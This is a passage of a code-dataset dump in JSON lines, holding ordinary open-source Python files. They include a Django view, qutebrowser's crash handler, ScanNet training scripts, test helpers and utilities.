address\"}\n return JsonResponse(data)\n\n event_user = EventUser.objects.filter(user_id=user_id, event_id=event_id)\n if len(event_user) == 0:\n data = {'message': \"Event not subscribed yet\"}\n return JsonResponse(data)\n\n event_user.delete()\n if len(event_user) == 0:\n data = {'message': \"Event successfully Unsubscribed.\"}\n return JsonResponse(data)\n except Exception as e:\n data = {'message': \"Something wrong.\" + str(e)}\n return JsonResponse(data)\n", "source": "rasselict07/Evite", "license": "MIT"} {"text": "# manage.py\n\nimport os\n\nfrom blinkwink import create_app\n\nfrom flask_script import Manager\n\n# Either the config level is set in an environment variable\n# or we just use the development version of the config\napp = create_app(os.getenv(\"BLINKWINK_ENV\") or \"dev\")\nmanager = Manager(app)\n\nif __name__ == \"__main__\":\n manager.run()\n", "source": "imajunryou/blinkwink", "license": "MIT"} {"text": "import numpy as np\nimport os\nimport subprocess\nimport trimesh\n\nimport src.utils.geometry as geometry\nimport src.utils.scannet_helper as scannet_helper\n\nwith open(\"/home/kejie/Datasets/ScanNet/server/Data/ScanNet/ScanNet/Tasks/Benchmark/scannetv2_val.txt\", \"r\") as f:\n sequences = f.read().splitlines()\n\nsequences = sorted(sequences)\n\n# \"scene0647_00\" out of memory \n\n# run till scene0693_00\n\nfor seq in sequences[286:]:\n for skip in [10]:\n for shift in range(1):\n exp_name = f\"scannet_{skip}_{shift}\"\n out_root = f\"/home/kejie/repository/fast_sdf/logs/test/{exp_name}/\"\n commands = (\n \"python src/test.py model=fusion_pointnet_model dataset=fusion_inference_scannet_dataset \"\n \"dataset.num_workers=0 \"\n \"dataset.downsample_scale=1 \"\n \"model.ray_tracer.ray_max_dist=5 \"\n \"model.voxel_size=0.02 \"\n \"model.min_pts_in_grid=8 \"\n \"trainer.checkpoint=/home/kejie/repository/fast_sdf/logs/train/2021-10-21/22-37-03/lightning_logs/version_0/checkpoints/last.ckpt\"\n )\n commands = commands.split(\" \")\n commands += [f\"dataset.scan_id={seq}\"]\n commands += [f\"dataset.out_root={out_root}\"]\n commands += [f\"dataset.skip_images={skip}\"]\n # commands += [f\"dataset.sample_shift={shift}\"]\n\n try:\n subprocess.run(commands, check=True)\n print(f\"finish {seq}\")\n except subprocess.CalledProcessError:\n import pdb\n pdb.set_trace()\n\n commands = (\n \"python src/train.py model=fusion_refiner_model dataset=fusion_refiner_scannet_dataset \"\n \"dataset.num_workers=4 \"\n \"dataset.downsample_scale=1 \"\n \"model.ray_tracer.ray_max_dist=5 \"\n \"model.voxel_size=0.02 \"\n \"model.min_pts_in_grid=8 \"\n \"trainer.max_epochs=20 \"\n \"trainer.check_val_every_n_epoch=10 \"\n \"dataset.num_pixels=5000 \"\n \"model.train_ray_splits=2500 \"\n \"model.sdf_delta_weight=0.1 \"\n \"model.pretrained_model=/home/kejie/repository/fast_sdf/logs/train/2021-10-21/22-37-03/lightning_logs/version_0/checkpoints/last.ckpt\"\n )\n commands = commands.split(\" \") \n commands += [f\"dataset.scan_id={seq}\"]\n \n volume_path = f\"/home/kejie/repository/fast_sdf/logs/test/{exp_name}/{seq}\"\n commands += [f\"model.volume_dir={volume_path}\"]\n \n commands += [f\"dataset.skip_images={skip}\"]\n # commands += [f\"dataset.sample_shift={shift}\"]\n \n out_root = f\"/home/kejie/repository/fast_sdf/logs/train/{exp_name}/\"\n commands += [f\"dataset.out_root={out_root}\"]\n try:\n subprocess.run(commands, check=True)\n print(f\"finish {seq}\")\n except subprocess.CalledProcessError:\n import pdb\n pdb.set_trace()", "source": "likojack/bnv_fusion", "license": "MIT"} {"text": "from copy import deepcopy\nfrom typing import Any, Dict\n\n\ndef merge_dicts(a: Dict, b: Dict):\n \"\"\"Merge two dictionaries in a recursive way.\n It means that if there is a key match, the keys is merged as well.\n Only dict and list keys merging is supported\n Args:\n a (Dict):\n b (Dict)\n Raises:\n ValueError: if a key is present in both the dictionaries and does not falls\n in one of these classes: Dict, List\n \"\"\"\n res = deepcopy(a)\n for k, v in b.items():\n if k not in res:\n res[k] = v\n else:\n if isinstance(v, dict):\n res[k] = merge_dicts(res[k], v)\n elif isinstance(v, list):\n res[k] += v\n else:\n raise ValueError(\n f\"\"\"Impossible to merge {res[k].__class__} and {v.__class__}.\n Data structure combinations not supported. Only merge between list and dict possible\"\"\"\n )\n return res\n\n\ndef get_key(obj: Any, key: str):\n try:\n return obj.get(key)\n except:\n return getattr(obj, key)\n\n\ndef set_key(obj: Any, key: str, value: Any):\n try:\n obj[key] = value\n except:\n setattr(obj, key, value)\n\n\ndef get_nested_value(obj: Any, path: str) -> Any:\n if \"[]\" in path:\n raise Exception(\n \"This function works only for non array objects. Use get_nested_values instead\"\n )\n keys = path.split(\".\")\n current_key = keys[0]\n if len(keys) == 1:\n return get_key(obj, path)\n return get_nested_value(get_key(obj, current_key), \".\".join(keys[1:]))\n\n\ndef set_nested_value(obj: Any, path: str, value: Any) -> Any:\n def aux(obj: Any, path: str, value: Any):\n keys = path.split(\".\")\n current_key = keys[0]\n if len(keys) == 1:\n set_key(obj, path, value)\n return\n\n aux(get_key(obj, current_key), \".\".join(keys[1:]), value)\n\n instance = deepcopy(obj)\n aux(instance, path, value)\n return instance\n\n\ndef get_nested_values(obj: Any, path: str) -> Any:\n keys = path.split(\".\")\n current_key = keys[0]\n if len(keys) == 1:\n return get_key(obj, path)\n\n if current_key.endswith(\"[]\"):\n current_key = current_key[:-2]\n return [\n get_nested_values(element, \".\".join(keys[1:]))\n for element in get_key(obj, current_key)\n ]\n return get_nested_values(get_key(obj, current_key), \".\".join(keys[1:]))\n", "source": "AlviseSembenico/pytils", "license": "MIT"} {"text": "# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:\n\n# Copyright 2014-2021 Florian Bruhin (The Compiler) \n#\n# This file is part of qutebrowser.\n#\n# qutebrowser is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# qutebrowser is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with qutebrowser. If not, see .\n\n\"\"\"Handlers for crashes and OS signals.\"\"\"\n\nimport os\nimport os.path\nimport sys\nimport bdb\nimport pdb # noqa: T002\nimport signal\nimport argparse\nimport functools\nimport threading\nimport faulthandler\nimport dataclasses\nfrom typing import TYPE_CHECKING, Optional, MutableMapping, cast, List\n\nfrom PyQt5.QtCore import (pyqtSlot, qInstallMessageHandler, QObject,\n QSocketNotifier, QTimer, QUrl)\nfrom PyQt5.QtWidgets import QApplication\n\nfrom qutebrowser.api import cmdutils\nfrom qutebrowser.misc import earlyinit, crashdialog, ipc, objects\nfrom qutebrowser.utils import usertypes, standarddir, log, objreg, debug, utils\nfrom qutebrowser.qt import sip\nif TYPE_CHECKING:\n from qutebrowser.misc import quitter\n\n\n@dataclasses.dataclass\nclass ExceptionInfo:\n\n \"\"\"Information stored when there was an exception.\"\"\"\n\n pages: List[List[str]]\n cmd_history: List[str]\n objects: str\n\n\ncrash_handler = cast('CrashHandler', None)\n\n\nclass CrashHandler(QObject):\n\n \"\"\"Handler for crashes, reports and exceptions.\n\n Attributes:\n _app: The QApplication instance.\n _quitter: The Quitter instance.\n _args: The argparse namespace.\n _crash_dialog: The CrashDialog currently being shown.\n _crash_log_file: The file handle for the faulthandler crash log.\n _crash_log_data: Crash data read from the previous crash log.\n is_crashing: Used by mainwindow.py to skip confirm questions on\n crashes.\n \"\"\"\n\n def __init__(self, *, app, quitter, args, parent=None):\n super().__init__(parent)\n self._app = app\n self._quitter = quitter\n self._args = args\n self._crash_log_file = None\n self._crash_log_data = None\n self._crash_dialog = None\n self.is_crashing = False\n\n def activate(self):\n \"\"\"Activate the exception hook.\"\"\"\n sys.excepthook = self.exception_hook\n\n def init_faulthandler(self):\n \"\"\"Handle a segfault from a previous run and set up faulthandler.\"\"\"\n logname = os.path.join(standarddir.data(), 'crash.log')\n try:\n # First check if an old logfile exists.\n if os.path.exists(logname):\n with open(logname, 'r', encoding='ascii') as f:\n self._crash_log_data = f.read()\n os.remove(logname)\n self._init_crashlogfile()\n else:\n # There's no log file, so we can use this to display crashes to\n # the user on the next start.\n self._init_crashlogfile()\n except OSError:\n log.init.exception(\"Error while handling crash log file!\")\n self._init_crashlogfile()\n\n def display_faulthandler(self):\n \"\"\"If there was data in the crash log file, display a dialog.\"\"\"\n assert not self._args.no_err_windows\n if self._crash_log_data:\n # Crashlog exists and has data in it, so something crashed\n # previously.\n self._crash_dialog = crashdialog.FatalCrashDialog(\n self._args.debug, self._crash_log_data)\n self._crash_dialog.show()\n self._crash_log_data = None\n\n def _recover_pages(self, forgiving=False):\n \"\"\"Try to recover all open pages.\n\n Called from exception_hook, so as forgiving as possible.\n\n Args:\n forgiving: Whether to ignore exceptions.\n\n Return:\n A list containing a list for each window, which in turn contain the\n opened URLs.\n \"\"\"\n pages = []\n for win_id in objreg.window_registry:\n win_pages = []\n tabbed_browser = objreg.get('tabbed-browser', scope='window',\n window=win_id)\n for tab in tabbed_browser.widgets():\n try:\n urlstr = tab.url().toString(\n QUrl.RemovePassword | QUrl.FullyEncoded)\n if urlstr:\n win_pages.append(urlstr)\n except Exception:\n if forgiving:\n log.destroy.exception(\"Error while recovering tab\")\n else:\n raise\n pages.append(win_pages)\n return pages\n\n def _init_crashlogfile(self):\n \"\"\"Start a new logfile and redirect faulthandler to it.\"\"\"\n logname = os.path.join(standarddir.data(), 'crash.log')\n try:\n self._crash_log_file = open(logname, 'w', encoding='ascii')\n except OSError:\n log.init.exception(\"Error while opening crash log file!\")\n else:\n earlyinit.init_faulthandler(self._crash_log_file)\n\n @cmdutils.register(instance='crash-handler')\n def report(self, info=None, contact=None):\n \"\"\"Report a bug in qutebrowser.\n\n Args:\n info: Information about the bug report. If given, no report dialog\n shows up.\n contact: Contact information for the report.\n \"\"\"\n pages = self._recover_pages()\n cmd_history = objreg.get('command-history')[-5:]\n all_objects = debug.get_all_objects()\n\n self._crash_dialog = crashdialog.ReportDialog(pages, cmd_history,\n all_objects)\n\n if info is None:\n self._crash_dialog.show()\n else:\n self._crash_dialog.report(info=info, contact=contact)\n\n @pyqtSlot()\n def shutdown(self):\n self.destroy_crashlogfile()\n\n def destroy_crashlogfile(self):\n \"\"\"Clean up the crash log file and delete it.\"\"\"\n if self._crash_log_file is None:\n return\n # We use sys.__stderr__ instead of sys.stderr here so this will still\n # work when sys.stderr got replaced, e.g. by \"Python Tools for Visual\n # Studio\".\n if sys.__stderr__ is not None:\n faulthandler.enable(sys.__stderr__)\n else:\n faulthandler.disable() # type: ignore[unreachable]\n try:\n self._crash_log_file.close()\n os.remove(self._crash_log_file.name)\n except OSError:\n log.destroy.exception(\"Could not remove crash log!\")\n\n def _get_exception_info(self):\n \"\"\"Get info needed for the exception hook/dialog.\n\n Return:\n An ExceptionInfo object.\n \"\"\"\n try:\n pages = self._recover_pages(forgiving=True)\n except Exception as e:\n log.destroy.exception(\"Error while recovering pages: {}\".format(e))\n pages = []\n\n try:\n cmd_history = objreg.get('command-history')[-5:]\n except Exception as e:\n log.destroy.exception(\"Error while getting history: {}\".format(e))\n cmd_history = []\n\n try:\n all_objects = debug.get_all_objects()\n except Exception:\n log.destroy.exception(\"Error while getting objects\")\n all_objects = \"\"\n return ExceptionInfo(pages, cmd_history, all_objects)\n\n def _handle_early_exits(self, exc):\n \"\"\"Handle some special cases for the exception hook.\n\n Return value:\n True: Exception hook should be aborted.\n False: Continue handling exception.\n \"\"\"\n exctype, _excvalue, tb = exc\n\n if not self._quitter.quit_status['crash']:\n log.misc.error(\"ARGH, there was an exception while the crash \"\n \"dialog is already shown:\", exc_info=exc)\n return True\n\n log.misc.error(\"Uncaught exception\", exc_info=exc)\n\n is_ignored_exception = (exctype is bdb.BdbQuit or\n not issubclass(exctype, Exception))\n\n if 'pdb-postmortem' in objects.debug_flags:\n if tb is None:\n pdb.set_trace() # noqa: T100\n else:\n pdb.post_mortem(tb)\n\n if is_ignored_exception or 'pdb-postmortem' in objects.debug_flags:\n # pdb exit, KeyboardInterrupt, ...\n sys.exit(usertypes.Exit.exception)\n\n if threading.current_thread() != threading.main_thread():\n log.misc.error(\"Ignoring exception outside of main thread... \"\n \"Please report this as a bug.\")\n return True\n\n return False\n\n def exception_hook(self, exctype, excvalue, tb):\n \"\"\"Handle uncaught python exceptions.\n\n It'll try very hard to write all open tabs to a file, and then exit\n gracefully.\n \"\"\"\n exc = (exctype, excvalue, tb)\n\n if self._handle_early_exits(exc):\n return\n\n self._quitter.quit_status['crash'] = False\n info = self._get_exception_info()\n\n if ipc.server is not None:\n try:\n ipc.server.ignored = True\n except Exception:\n log.destroy.exception(\"Error while ignoring ipc\")\n\n try:\n self._app.lastWindowClosed.disconnect(\n self._quitter.on_last_window_closed)\n except TypeError:\n log.destroy.exception(\"Error while preventing shutdown\")\n\n self.is_crashing = True\n\n self._app.closeAllWindows()\n if self._args.no_err_windows:\n crashdialog.dump_exception_info(exc, info.pages, info.cmd_history,\n info.objects)\n else:\n self._crash_dialog = crashdialog.ExceptionCrashDialog(\n self._args.debug, info.pages, info.cmd_history, exc,\n info.objects)\n ret = self._crash_dialog.exec()\n if ret == crashdialog.Result.restore:\n self._quitter.restart(info.pages)\n\n # We might risk a segfault here, but that's better than continuing to\n # run in some undefined state, so we only do the most needed shutdown\n # here.\n qInstallMessageHandler(None)\n self.destroy_crashlogfile()\n sys.exit(usertypes.Exit.exception)\n\n def raise_crashdlg(self):\n \"\"\"Raise the crash dialog if one exists.\"\"\"\n if self._crash_dialog is not None:\n self._crash_dialog.raise_()\n\n\nclass SignalHandler(QObject):\n\n \"\"\"Handler responsible for handling OS signals (SIGINT, SIGTERM, etc.).\n\n Attributes:\n _app: The QApplication instance.\n _quitter: The Quitter instance.\n _activated: Whether activate() was called.\n _notifier: A QSocketNotifier used for signals on Unix.\n _timer: A QTimer used to poll for signals on Windows.\n _orig_handlers: A {signal: handler} dict of original signal handlers.\n _orig_wakeup_fd: The original wakeup filedescriptor.\n \"\"\"\n\n def __init__(self, *, app, quitter, parent=None):\n super().__init__(parent)\n self._app = app\n self._quitter = quitter\n self._notifier = None\n self._timer = usertypes.Timer(self, 'python_hacks')\n self._orig_handlers: MutableMapping[int, 'signal._HANDLER'] = {}\n self._activated = False\n self._orig_wakeup_fd: Optional[int] = None\n\n def activate(self):\n \"\"\"Set up signal handlers.\n\n On Windows this uses a QTimer to periodically hand control over to\n Python so it can handle signals.\n\n On Unix, it uses a QSocketNotifier with os.set_wakeup_fd to get\n notified.\n \"\"\"\n self._orig_handlers[signal.SIGINT] = signal.signal(\n signal.SIGINT, self.interrupt)\n self._orig_handlers[signal.SIGTERM] = signal.signal(\n signal.SIGTERM, self.interrupt)\n\n if utils.is_posix and hasattr(signal, 'set_wakeup_fd'):\n # pylint: disable=import-error,no-member,useless-suppression\n import fcntl\n read_fd, write_fd = os.pipe()\n for fd in [read_fd, write_fd]:\n flags = fcntl.fcntl(fd, fcntl.F_GETFL)\n fcntl.fcntl(fd, fcntl.F_SETFL, flags | os.O_NONBLOCK)\n self._notifier = QSocketNotifier(cast(sip.voidptr, read_fd),\n QSocketNotifier.Read,\n self)\n self._notifier.activated.connect( # type: ignore[attr-defined]\n self.handle_signal_wakeup)\n self._orig_wakeup_fd = signal.set_wakeup_fd(write_fd)\n # pylint: enable=import-error,no-member,useless-suppression\n else:\n self._timer.start(1000)\n self._timer.timeout.connect(lambda: None)\n self._activated = True\n\n def deactivate(self):\n \"\"\"Deactivate all signal handlers.\"\"\"\n if not self._activated:\n return\n if self._notifier is not None:\n assert self._orig_wakeup_fd is not None\n self._notifier.setEnabled(False)\n rfd = self._notifier.socket()\n wfd = signal.set_wakeup_fd(self._orig_wakeup_fd)\n os.close(int(rfd))\n os.close(wfd)\n for sig, handler in self._orig_handlers.items():\n signal.signal(sig, handler)\n self._timer.stop()\n self._activated = False\n\n @pyqtSlot()\n def handle_signal_wakeup(self):\n \"\"\"Handle a newly arrived signal.\n\n This gets called via self._notifier when there's a signal.\n\n Python will get control here, so the signal will get handled.\n \"\"\"\n assert self._notifier is not None\n log.destroy.debug(\"Handling signal wakeup!\")\n self._notifier.setEnabled(False)\n read_fd = self._notifier.socket()\n try:\n os.read(int(read_fd), 1)\n except OSError:\n log.destroy.exception(\"Failed to read wakeup fd.\")\n self._notifier.setEnabled(True)\n\n def _log_later(self, *lines):\n \"\"\"Log the given text line-wise with a QTimer.\"\"\"\n for line in lines:\n QTimer.singleShot(0, functools.partial(log.destroy.info, line))\n\n def interrupt(self, signum, _frame):\n \"\"\"Handler for signals to gracefully shutdown (SIGINT/SIGTERM).\n\n This calls shutdown and remaps the signal to call\n interrupt_forcefully the next time.\n \"\"\"\n signal.signal(signal.SIGINT, self.interrupt_forcefully)\n signal.signal(signal.SIGTERM, self.interrupt_forcefully)\n # Signals can arrive anywhere, so we do this in the main thread\n self._log_later(\"SIGINT/SIGTERM received, shutting down!\",\n \"Do the same again to forcefully quit.\")\n QTimer.singleShot(0, functools.partial(\n self._quitter.shutdown, 128 + signum))\n\n def interrupt_forcefully(self, signum, _frame):\n \"\"\"Interrupt forcefully on the second SIGINT/SIGTERM request.\n\n This skips our shutdown routine and calls QApplication:exit instead.\n It then remaps the signals to call self.interrupt_really_forcefully the\n next time.\n \"\"\"\n signal.signal(signal.SIGINT, self.interrupt_really_forcefully)\n signal.signal(signal.SIGTERM, self.interrupt_really_forcefully)\n # Signals can arrive anywhere, so we do this in the main thread\n self._log_later(\"Forceful quit requested, goodbye cruel world!\",\n \"Do the same again to quit with even more force.\")\n QTimer.singleShot(0, functools.partial(self._app.exit, 128 + signum))\n\n def interrupt_really_forcefully(self, signum, _frame):\n \"\"\"Interrupt with even more force on the third SIGINT/SIGTERM request.\n\n This doesn't run *any* Qt cleanup and simply exits via Python.\n It will most likely lead to a segfault.\n \"\"\"\n print(\"WHY ARE YOU DOING THIS TO ME? :(\")\n sys.exit(128 + signum)\n\n\ndef init(q_app: QApplication,\n args: argparse.Namespace,\n quitter: 'quitter.Quitter') -> None:\n \"\"\"Initialize crash/signal handlers.\"\"\"\n global crash_handler\n crash_handler = CrashHandler(\n app=q_app, quitter=quitter, args=args, parent=q_app)\n objreg.register('crash-handler', crash_handler, command_only=True)\n crash_handler.activate()\n quitter.shutting_down.connect(crash_handler.shutdown)\n\n signal_handler = SignalHandler(app=q_app, quitter=quitter, parent=q_app)\n signal_handler.activate()\n quitter.shutting_down.connect(signal_handler.deactivate)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n#\n# Copyright (C) 2011-2014 Star2Billing S.L.\n#\n# The Initial Developer of the Original Code is\n# Arezqui Belaid \n#\n\nfrom django.contrib.auth.models import User\nfrom django.test import TestCase, Client\nfrom django.test.client import RequestFactory\nimport base64\nimport unittest\nimport inspect\n\n\ndef build_test_suite_from(test_cases):\n \"\"\"Returns a single or group of unittest test suite(s) that's ready to be\n run. The function expects a list of classes that are subclasses of\n TestCase.\n\n The function will search the module where each class resides and\n build a test suite from that class and all subclasses of it.\n \"\"\"\n test_suites = []\n for test_case in test_cases:\n mod = __import__(test_case.__module__)\n components = test_case.__module__.split('.')\n for comp in components[1:]:\n mod = getattr(mod, comp)\n tests = []\n for item in mod.__dict__.values():\n if type(item) is type and issubclass(item, test_case):\n tests.append(item)\n test_suites.append(unittest.TestSuite(\n map(unittest.TestLoader().loadTestsFromTestCase, tests)))\n\n return unittest.TestSuite(test_suites)\n\n\nclass BaseAuthenticatedClient(TestCase):\n \"\"\"Common Authentication\"\"\"\n fixtures = ['auth_user']\n\n def setUp(self):\n \"\"\"To create admin user\"\"\"\n self.client = Client()\n self.user = User.objects.get(username='admin')\n auth = '%s:%s' % ('admin', 'admin')\n auth = 'Basic %s' % base64.encodestring(auth.encode('utf8'))\n auth = auth.strip()\n self.extra = {\n 'HTTP_AUTHORIZATION': auth,\n }\n try:\n self.client.force_login(self.user)\n except AttributeError: # Django < 1.8\n login = self.client.login(username='admin', password='admin')\n self.assertTrue(login)\n\n self.factory = RequestFactory()\n\n\nclass Choice(object):\n\n class __metaclass__(type):\n def __init__(self, *args, **kwargs):\n self._data = []\n for name, value in inspect.getmembers(self):\n if not name.startswith('_') and not inspect.ismethod(value):\n if isinstance(value, tuple) and len(value) > 1:\n data = value\n else:\n pieces = [x.capitalize() for x in name.split('_')]\n data = (value, ' '.join(pieces))\n self._data.append(data)\n setattr(self, name, data[0])\n\n self._hash = dict(self._data)\n\n def __iter__(self):\n for value, data in self._data:\n yield value, data\n\n @classmethod\n def get_value(self, key):\n return self._hash[key]\n", "source": "afkmamunbd/django-admin-tools-stats", "license": "MIT"} {"text": "#!/usr/bin/python\n\"\"\"\ndraw_obs_bb_on_birds_eye_view.py: version 0.1.0\nNote:\n\nTodo:\n\nHistory:\n\"\"\"\n\nimport argparse\nimport numpy as np\nimport rosbag\n\nappTitle = \"Udacity Team-SF: Obstacle bounding boxes drawer on bird's eye views\"\n\ndef print_obs_bb(msgType, topic, msg, time, capture_vehicle_position, obstacle_list, obstacle_positions):\n\n t = time.to_sec()\n\n if 'sensor_msgs' in msgType or 'nav_msgs' in msgType:\n since_start = msg.header.stamp.to_sec()-startsec\n\n if msgType in ['nav_msgs/Odometry']:\n print(topic, msg.header.seq, since_start, msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z, t)\n for i in range(len(obstacle_list)):\n print('Relative position of ', obstacle_list[i], ' with respect to the capture vehicle:', obstacle_positions[i][0]-capture_vehicle_position[0], obstacle_positions[i][1]-capture_vehicle_position[1], obstacle_positions[i][2]-capture_vehicle_position[2], t)\n\n# ***** main loop *****\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=appTitle)\n parser.add_argument('--dataset', type=str, default=\"dataset.bag\", help='Dataset/ROS Bag name')\n parser.add_argument('--skip', type=int, default=\"0\", help='skip seconds')\n parser.add_argument('--topics', type=str, default=None, help='Topic list to display')\n #The argument for the resolution for the bird's eye view image is in cm per pixel\n parser.add_argument('--resolution', type=float, default=10.0, help='Resolution per pixel') \n args = parser.parse_args()\n\n dataset = args.dataset\n skip = args.skip\n resolution = args.resolution\n \n startsec = 0\n topics_list = args.topics.split(',') if args.topics else None\n\n print(\"reading rosbag \", dataset)\n bag = rosbag.Bag(dataset, 'r')\n topicTypesMap = bag.get_type_and_topic_info().topics\n\n #SN: Add obstacle list\n obstacle_list = []\n seen_vehicle_firsttime = False\n capture_vehicle_position = [0, 0, 0]\n obstacle_positions = []\n\n for topic, msg, t in bag.read_messages(topics=topics_list):\n msgType = topicTypesMap[topic].msg_type\n if startsec == 0:\n startsec = t.to_sec()\n if skip < 24*60*60:\n skipping = t.to_sec() + skip\n print(\"skipping \", skip, \" seconds from \", startsec, \" to \", skipping, \" ...\")\n else:\n skipping = skip\n print(\"skipping to \", skip, \" from \", startsec, \" ...\")\n else:\n if t.to_sec() > skipping:\n #SN:\n if not(seen_vehicle_firsttime):\n if (msgType in ['nav_msgs/Odometry']) & (topic == '/gps/rtkfix'):\n seen_vehicle_firsttime = True\n capture_vehicle_position = [msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z]\n else:\n if (msgType in ['nav_msgs/Odometry']) & (topic == '/gps/rtkfix'):\n capture_vehicle_position = [msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z]\n print_obs_bb(msgType, topic, msg, t, capture_vehicle_position, obstacle_list, obstacle_positions)\n elif (msgType in ['nav_msgs/Odometry']):\n if topic in obstacle_list:\n for i in range(len(obstacle_list)):\n if topic == obstacle_list:\n break\n obstacle_positions[i] = [msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z]\n print_obs_bb(msgType, topic, msg, t, capture_vehicle_position, obstacle_list, obstacle_positions)\n else:\n obstacle_list.append(topic)\n obstacle_positions.append([msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z])\n print_obs_bb(msgType, topic, msg, t, capture_vehicle_position, obstacle_list, obstacle_positions) \n", "source": "dhesin/team_sf_lidar", "license": "MIT"} {"text": "import unittest\n\nclass PlaceholderTestCase(unittest.TestCase):\n\n def test_x(self):\n self.assertEqual(1, 1)\n", "source": "djpugh/docserver-client", "license": "MIT"} {"text": "from pybamboo.connection import Connection, DEFAULT_BAMBOO_URL,\\\n OK_STATUS_CODES\nfrom pybamboo.exceptions import BambooError, ErrorParsingBambooData,\\\n PyBambooException\nfrom pybamboo.tests.test_base import TestBase\n\n\nclass TestConnection(TestBase):\n\n def test_url(self):\n # default self.connection is setup in TestBase.setUp()\n self.assertEqual(self.connection.url, self.TEST_BAMBOO_URL)\n test_url = 'http://test.com'\n self.connection.url = test_url\n self.assertEqual(self.connection.url, test_url)\n\n def test_check_response(self):\n test_response = self.MockResponse()\n for status_code in OK_STATUS_CODES:\n test_response.status_code = status_code\n test_response.text = 'OK'\n try:\n self.connection._check_response(test_response)\n except BambooError: # pragma: no cover\n self.fail('Raised error on OK status code.')\n test_response.status_code = 400\n test_response.text = 'FAIL'\n with self.assertRaises(BambooError):\n self.connection._check_response(test_response)\n\n def test_version(self):\n self.assert_keys_in_dict(self.VERSION_KEYS,\n self.connection.version)\n", "source": "makinacorpus/pybamboo", "license": "BSD-3-Clause"} {"text": "\nfrom functools import partial\nfrom typing import Any, Callable, Optional\n\nimport abstracts\n\nfrom aio.core import event, functional, tasks\nfrom aio.core.dev import debug\n\n\n# TODO: split `IReactive.pool` to here\nclass IExecutive(event.IReactive, metaclass=abstracts.Interface):\n \"\"\"Object that executes commands in a process pool.\"\"\"\n\n @abstracts.interfacemethod\n async def execute(\n self,\n executable: Callable,\n *args,\n **kwargs) -> Any:\n \"\"\"Execute a command in a process pool.\"\"\"\n raise NotImplementedError\n\n @abstracts.interfacemethod\n async def execute_in_batches(\n self,\n executable: Callable,\n *args,\n concurrency: Optional[int] = None,\n min_batch_size: Optional[int] = None,\n max_batch_size: Optional[int] = None,\n **kwargs) -> functional.AwaitableGenerator:\n \"\"\"Execute a command in a process pool.\"\"\"\n raise NotImplementedError\n\n\n@abstracts.implementer((event.AReactive, IExecutive))\nclass AExecutive(metaclass=abstracts.Abstraction):\n\n @debug.logging(\n log=__name__,\n format_result=\"self._debug_execute\")\n async def execute(\n self,\n executable: Callable,\n *args,\n **kwargs) -> Any:\n return await self.loop.run_in_executor(\n self.pool,\n *(executable, *args),\n **kwargs)\n\n def execute_in_batches(\n self,\n executable: Callable,\n *args,\n concurrency: Optional[int] = None,\n min_batch_size: Optional[int] = None,\n max_batch_size: Optional[int] = None,\n **kwargs) -> functional.AwaitableGenerator:\n return tasks.concurrent(\n (self.execute(\n executable,\n *batch,\n **kwargs)\n for batch\n in functional.batch_jobs(\n args,\n min_batch_size=min_batch_size,\n max_batch_size=max_batch_size)),\n limit=concurrency)\n\n def _debug_execute(self, start, result, time_taken, result_info):\n (instance, (executable, *args), kwargs), start_time = start\n pool_name = (\n \"\\N{forking}\"\n if self.pool.__class__.__name__ == \"ProcessPoolExecutor\"\n else \"\\N{nonforking}\")\n pool_info = f\"{pool_name}:{hex(id(self.pool))}\"\n if type(executable) == partial:\n executable = executable.func\n name = getattr(\n executable, \"__qualname__\",\n executable.__class__.__qualname__)\n return (\n f\"{pool_info} {result_info}: \"\n f\"{executable.__module__}{name}\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport contextlib\n\n\ncontext = {}\n\n\n@contextlib.contextmanager\ndef set_context(**kwargs):\n global context\n try:\n context = dict(**kwargs)\n yield\n finally:\n context.clear()\n", "source": "campsd/FunFact", "license": "BSD-3-Clause-LBNL"} {"text": "from features.default import BaseFeature\nimport PySimpleGUI as sg\nfrom tinydb import TinyDB, Query\n\n\nclass Feature(BaseFeature):\n def __init__(self, bumblebee_api):\n self.tag_name = \"add_employer\"\n self.patterns = [\n \"add new employer\",\n \"new employer\",\n \"add a new employer\",\n \"add a new boss\"\n ]\n self.bs = bumblebee_api.get_speech()\n self.config = bumblebee_api.get_config()\n\n employer_db_path = self.config['Database']['employers']\n self.employer_db = TinyDB(employer_db_path)\n\n def action(self, spoken_text, arguments_list: list = []):\n try:\n self.add_employer_details()\n self.bs.respond('Added new employer successfully.')\n except Exception as exception:\n print(exception)\n self.bs.respond('Could not add new employer.')\n\n return\n\n def add_employer_details(self):\n '''\n Opens a PySimpleGui window to allow the user to add a new employer to\n the database.\n Arguments: None\n Return type: None\n '''\n sg.theme('DarkAmber')\n layout = [[sg.Text(\"Name:\"), sg.InputText(key=\"name\")],\n [sg.Submit(), sg.Cancel()]\n ]\n event, values = sg.Window(\"Add Employer\", layout).read(close=True)\n\n Entry = Query()\n employer_details = {}\n employer_details[\"name\"] = str(values['name'].lower())\n self.employer_db.upsert(\n employer_details, Entry.name == employer_details[\"name\"]\n )\n", "source": "Omarzintan/bumblebee-ai", "license": "MIT"} {"text": "from lcls_live.klystron import Klystron, existing_LCLS_klystrons, unusable_faults\nfrom lcls_live import Collimator\n\nfrom math import isnan, sqrt\n\nimport pandas\n\ndef bmad_klystron_lines(klystron):\n '''\n Form Bmad lines to set klystron overlays.\n\n '''\n k = klystron\n kname = 'K'+str(k.sector)+'_'+str(k.station)\n bmad_name = 'O_'+kname \n \n # Data \n accelerating = k.is_accelerating()\n #usable = not any(x in k.faults for x in unusable_faults)\n 